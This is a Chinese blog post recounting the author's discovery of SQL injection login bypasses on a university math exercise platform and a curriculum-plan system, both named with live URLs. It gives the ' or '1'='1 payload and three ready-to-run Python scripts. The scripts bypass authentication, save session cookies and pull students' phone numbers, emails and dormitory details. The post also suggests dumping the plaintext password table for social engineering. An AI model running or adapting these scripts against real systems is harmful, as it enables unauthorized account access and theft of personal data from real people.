0%

SQL注入初探

SQL注入

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

发现

NEUMathe的登陆表单内输入了‘,没有正常的显示登陆失败,而是弹出以下界面:

### Error querying database. Cause: com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near at line 2 ### The error may exist in ssm/mapper/StudentMapperCustom.xml ### The error may involve ssm.mapper.StudentMapperCustom.checkStudentExits-Inline ### The error occurred while setting parameters ### SQL: SELECT * FROM Student WHERE Code = and Pwd =

很明显,这是数据库错误的提示信息,注意到这一行,
SELECT * FROM Student WHERE Code = and Pwd =
服务器把单引号传入sql语句中导致这句查询执行错误,于是,找到注入点,输入2016xxxx' or '1'='1,此时,原来正常的语句由select * from student where code = '2016xxxx' and pwd = 'xxxx'
成了select * from student where code = '2016xxxx' or '1'='1' and pwd = 'xxxx',点击登陆,居然能成功登陆,pwd密码项被or后面一个恒等式架空了,于是这个语句恒为真,即可以登陆任何人的>账号。

利用

这个漏洞导致可以登陆所有人的账户,首先带来的后果是信息的泄漏,使用python模拟登陆

#!/usr/bin/python
import requests

userpass = "anypass"
tiku = "GS" #GS GL FB XD 选择科目
sso = "2016xxxx" #sso number

login_data = {"username":sso+"' or '1'='1", "userpass":userpass,"tiku":tiku}
url = 'http://mathe.neu.edu.cn/login'
headers = {"User_Agent" : "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36"}
t = requests.post(url, data = login_data, headers = headers)
print t.text

进一步,可以获得cookies,抓取个人信息

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib
import urllib2
import cookielib

filename = 'cookie.txt'
userpass = "anypass"
tiku = "GS" #GS GL FB XD
sso = "20165000" #sso number

#声明一个MozillaCookieJar对象实例来保存cookie,之后写入文件
cookie = cookielib.MozillaCookieJar(filename)
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))
postdata = urllib.urlencode({"username":sso+"' or '1'='1", "userpass":userpass,"tiku":tiku})
#登录教务系统的URL
loginUrl = 'http://mathe.neu.edu.cn/login'
#模拟登录,并把cookie保存到变量
result = opener.open(loginUrl,postdata)
#保存cookie到cookie.txt中
cookie.save(ignore_discard=True, ignore_expires=True)
#利用cookie请求访问另一个网址,此网址是成绩查询网址
gradeUrl = 'http://mathe.neu.edu.cn/main/finduserbyid'
#请求访问成绩查询网址
result = opener.open(gradeUrl)
print result.read()

代码返回一个包含个人手机 邮箱 宿舍信息的json。
更可怕的是,该系统数据库的密码存储使用明文,对于sql注入的进一步操作可以爬去整个数据表,用过社会工程学推测学校学生的其他账号密码。
该漏洞极其危险,然而,笔者经过尝试,发现了培养计划平台也有相同问题,可以模拟登陆,修改信息,抓取培养计划:

#!/usr/bin/python
import requests

userlb = 1
planyear = 2016
username = "2016xxxx' and '1'='1"
password = 1
x = 28
y = 14

#http://202.118.27.146/plan/

login_data = {"userlb":userlb,"planyear":planyear,"username":username,"password":password,"x":x,"y":y}
url = 'http://202.118.27.146/plan/LoginServlet'
headers = {"User_Agent" : "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36"}
t = requests.post(url, data = login_data, headers = headers)
print t.text
Disqus评论区没有正常加载,请使用科学上网